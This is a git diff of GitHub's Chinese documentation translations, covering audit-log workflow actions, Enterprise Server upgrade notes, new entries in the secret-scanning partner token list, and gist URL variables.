更多信息请参阅“[删除工作流程运行](/actions/managing-workflow-runs/deleting-a-workflow-run)”。 | -| `disable_workflow` | 工作流程禁用时触发。 | -| `enable_workflow` | 在之前被 `disable_workflow` 禁用后,当工作流程启用时触发。 | -| `rerun_workflow_run` | 工作流程运行重新运行时触发。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | 工作流程作业启动时触发。 包括提供给作业的机密列表。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | -| `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} +| 操作 | 描述 | +| ------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `cancel_workflow_run` | 工作流程运行取消时触发。 更多信息请参阅“[取消工作流程](/actions/managing-workflow-runs/canceling-a-workflow)。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `completed_workflow_run` | 当工作流程状态更改为`完成`时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `created_workflow_run` | 工作流程运行创建时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[创建示例工作流程](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)。{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `delete_workflow_run` | 工作流程运行被删除时触发。 更多信息请参阅“[删除工作流程运行](/actions/managing-workflow-runs/deleting-a-workflow-run)”。 | +| `disable_workflow` | 工作流程禁用时触发。 | +| `enable_workflow` | 在之前被 `disable_workflow` 禁用后,当工作流程启用时触发。 | +| `rerun_workflow_run` | 工作流程运行重新运行时触发。 For more information, see "[Re-running a workflow](/actions/managing-workflow-runs/re-running-a-workflow)."{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `prepared_workflow_job` | 工作流程作业启动时触发。 包括提供给作业的机密列表。 Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `approve_workflow_job` | Triggered when a workflow job has been approved. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." | +| `reject_workflow_job` | Triggered when a workflow job has been rejected. For more information, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)."{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md new file mode 100644 index 0000000000..6833ff6dc0 --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md @@ -0,0 +1,3 @@ +{% ifversion ghes < 3.3 %} +{% data variables.product.prodname_actions %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_actions %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-features.md new file mode 100644 index 0000000000..fb2c9a733e --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-features.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements. + +{% endnote %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/gated-features/ghas.md b/translations/zh-CN/data/reusables/gated-features/ghas.md index cf5d023b9f..0f74920694 100644 --- a/translations/zh-CN/data/reusables/gated-features/ghas.md +++ b/translations/zh-CN/data/reusables/gated-features/ghas.md @@ -1 +1 @@ -{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)." +{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %} 3.0 or higher.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)."{% else %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} diff --git a/translations/zh-CN/data/reusables/gated-features/packages.md b/translations/zh-CN/data/reusables/gated-features/packages.md index eed2433737..1c38d7eb15 100644 --- a/translations/zh-CN/data/reusables/gated-features/packages.md +++ b/translations/zh-CN/data/reusables/gated-features/packages.md @@ -1,4 +1,4 @@ -{% data variables.product.prodname_registry %} 可用于 {% data variables.product.prodname_free_user %}、{% data variables.product.prodname_pro %}、组织的 {% data variables.product.prodname_free_team %}、{% data variables.product.prodname_team %}、{% data variables.product.prodname_ghe_cloud %}、{% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_managed %}。 +{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} {% ifversion fpt or ghec %}
    {% data variables.product.prodname_registry %} 不适用于使用旧版按仓库计划的帐户所拥有的私有仓库。 此外,使用旧版按仓库计划的帐户无法访问 {% data variables.product.prodname_container_registry %},因为这些帐户是按仓库计费的。 {% data reusables.gated-features.more-info %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/beta.md b/translations/zh-CN/data/reusables/secret-scanning/beta.md index 8403e01b01..8d72698b14 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/beta.md +++ b/translations/zh-CN/data/reusables/secret-scanning/beta.md @@ -3,6 +3,9 @@ **注意:**组织拥有的仓库的 {% data variables.product.prodname_secret_scanning_caps %} 目前处于公测阶段,可能会有变动。 +If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_secret_scanning %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. + + {% endnote %} {% endif %} @@ -10,7 +13,7 @@ {% note %} -**注:** {% data variables.product.prodname_secret_scanning_caps %} 是 {% data variables.product.prodname_ghe_server %} 3.0 中的测试版功能。 对于 {% data variables.product.prodname_secret_scanning %} 的一般可用版本,请升级到 {% data variables.product.prodname_ghe_server %} 的最新版本。 +**注:** {% data variables.product.prodname_secret_scanning_caps %} 是 {% data variables.product.prodname_ghe_server %} 3.0 中的测试版功能。 对于 {% data variables.product.prodname_secret_scanning %} 的一般可用版本,请升级到 {% data variables.product.prodname_ghe_server %} 的最新版本。 For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endnote %} diff --git a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md index 9d94e10288..9946bcfa2b 100644 --- a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -81,6 +81,8 @@ Google | Google OAuth Access Token | google_oauth_access_token{% endif %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -114,7 +116,11 @@ New Relic | New Relic REST API Key | new_relic_rest_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | New Relic Insights Query Key | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -New Relic | New Relic License Key | new_relic_license_key{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key +New Relic | New Relic License Key | new_relic_license_key{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion Integration Token | notion_integration_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Onfido Live API Token | onfido_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -146,6 +152,8 @@ Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url {%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Access Token | square_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Production Application Secret | square_production_application_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key diff --git a/translations/zh-CN/data/variables/enterprise.yml b/translations/zh-CN/data/variables/enterprise.yml index ce65122cf9..b749f94caa 100644 --- a/translations/zh-CN/data/variables/enterprise.yml +++ b/translations/zh-CN/data/variables/enterprise.yml @@ -1,2 +1,4 @@ --- management_console: '管理控制台' +#https://support.github.com/enterprise/server-upgrade +upgrade_assistant: 'Upgrade assistant' diff --git a/translations/zh-CN/data/variables/gists.yml b/translations/zh-CN/data/variables/gists.yml index 1a54f0e0a7..2973c08309 100644 --- a/translations/zh-CN/data/variables/gists.yml +++ b/translations/zh-CN/data/variables/gists.yml @@ -1,7 +1,7 @@ --- gist_homepage: >- - {% ifversion fpt or ghec %}[gist 主页](https://gist.github.com/){% elsif ghae %}gist 主页 `http(s)://gist.[hostname)`,{% else %}gist 主页 `http(s)://[hostname]/gist` 或 `http(s)://gist.[hostname]` 如果启用了子域{% endif %} + {% ifversion fpt or ghec %}[gist home page](https://gist.github.com/){% elsif ghae %}gist home page, `http(s)://gist.[hostname]`{% else %}gist home page, `http(s)://[hostname]/gist` or `http(s)://gist.[hostname]` if subdomains are enabled{% endif %} gist_search_url: >- - {% ifversion fpt or ghec %}[Gist 搜索](https://gist.github.com/search){% elsif ghae %}Gist 搜索 `http(s)://gist.[hostname]/search`,{% else %}Gist 搜索 `http(s)://[hostname]/gist/search` 或 `http(s)://gist.[hostname]/search`(如果启用了子域){% endif %} + {% ifversion fpt or ghec %}[Gist Search](https://gist.github.com/search){% elsif ghae %}Gist Search, `http(s)://gist.[hostname]/search`{% else %}Gist Search, `http(s)://[hostname]/gist/search` or `http(s)://gist.[hostname]/search` if subdomains are enabled{% endif %} discover_url: >- - {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`,{% else %}Discover `http(s)://[hostname]/gist/discover` 或 `http(s)://gist.[hostname]/discover`(如果启用了子域){% endif %} + {% ifversion fpt or ghec %}[Discover](https://gist.github.com/discover){% elsif ghae %}Discover, `http(s)://gist.[hostname]/discover`{% else %}Discover, `http(s)://[hostname]/gist/discover` or `http(s)://gist.[hostname]/discover` if subdomains are enabled{% endif %}